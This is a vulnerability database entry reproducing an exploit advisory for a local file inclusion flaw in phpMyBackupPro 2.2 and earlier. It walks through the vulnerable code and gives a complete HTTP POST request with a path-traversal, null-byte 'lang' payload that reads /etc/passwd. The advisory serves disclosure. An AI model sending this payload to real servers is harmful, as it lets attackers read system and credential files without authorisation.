Lucene search
K

phpMyBackupPro <= 2.2 - Local File Inclusion Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

phpMyBackupPro <= 2.2 - Local File Inclusion Vulnerability. Vulnerability in phpMyBackupPro 2.2 allows inclusion of local files

Code

                                                  :::::::-.   ...    ::::::.    :::.
   ;;,   `&#39;;, ;;     ;;;`;;;;,  `;;;
   `[[     [[[[&#39;     [[[  [[[[[. &#39;[[
    $$,    $$$$      $$$  $$$ &#34;Y$c$$
    888_,o8P&#39;88    .d888  888    Y88
    MMMMP&#34;`   &#34;YmmMMMM&#34;&#34;  MMM     YM
	
   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-07-03                              ]
 ##################################################################
 # [ phpMyBackupPro &#60;= 2.2 ]  Local File Inclusion Vulnerability  #
 ##################################################################
 #
 # Script: &#34;phpMyBackupPro is a very easy to use, free, web-based
 #          MySQL backup application, licensed under the GNU GPL.&#34;
 #
 # Vendor:   http://www.phpmybackuppro.net/
 # Download: http://sourceforge.net/projects/phpmybackup/files/phpMyBackupPro/
 #
 #
 # File: ./phpMyBackupPro-2.2/config.php (line: 26)
 #  ..cut..
 #  26    require_once(&#34;login.php&#34;);                                                 // 1
 #  ..cut..
 #
 # File: ./phpMyBackupPro-2.2/login.php (line: 29)
 #  ..cut..
 #  29    require_once(&#34;definitions.php&#34;);                                           // 2
 #  ..cut..
 #
 # File: ./phpMyBackupPro-2.2/definitions.php (lines: 201-206)
 #  ..cut..
 #  201    // check if language was just changed in config.php
 #  202    if (isset($_POST[&#39;lang&#39;]) && preg_replace(&#34;#.*/#&#34;,&#34;&#34;,$_SERVER[&#39;PHP_SELF&#39;])==&#34;config.php&#34;) $CONF[&#39;lang&#39;]=$_POST[&#39;lang&#39;]; // 3
 #  203
 #  204    // include language.inc.php
 #  205    if (!isset($CONF[&#39;lang&#39;])) $CONF[&#39;lang&#39;]=&#34;english&#34;;
 #  206    if (!file_exists($prepath.PMBP_LANGUAGE_DIR.$CONF[&#39;lang&#39;].&#34;.inc.php&#34;))    // 4
 #           include_once($prepath.PMBP_LANGUAGE_DIR.&#34;english.inc.php&#34;);             // 4
 #           else include($prepath.PMBP_LANGUAGE_DIR.$CONF[&#39;lang&#39;].&#34;.inc.php&#34;);      // 4 [LFI]
 #  ..cut..
 #
 #
 # [LFI] ( magic_quotes_gpc = Off; )
 # Vuln:
 #
 #  POST /phpMyBackupPro-2.2/config.php HTTP/1.1
 #  Host: localhost
 #  User-Agent: Mozilla/5.0
 #  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 #  Accept-Language: pl,en-us;q=0.7,en;q=0.3
 #  Accept-Encoding: gzip, deflate
 #  Connection: keep-alive
 #  Content-Type: application/x-www-form-urlencoded
 #  Content-Length: 39
 #  lang=../../../../../../../etc/passwd%00
 #
 ### [ dun / 2012 ] #####################################################
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15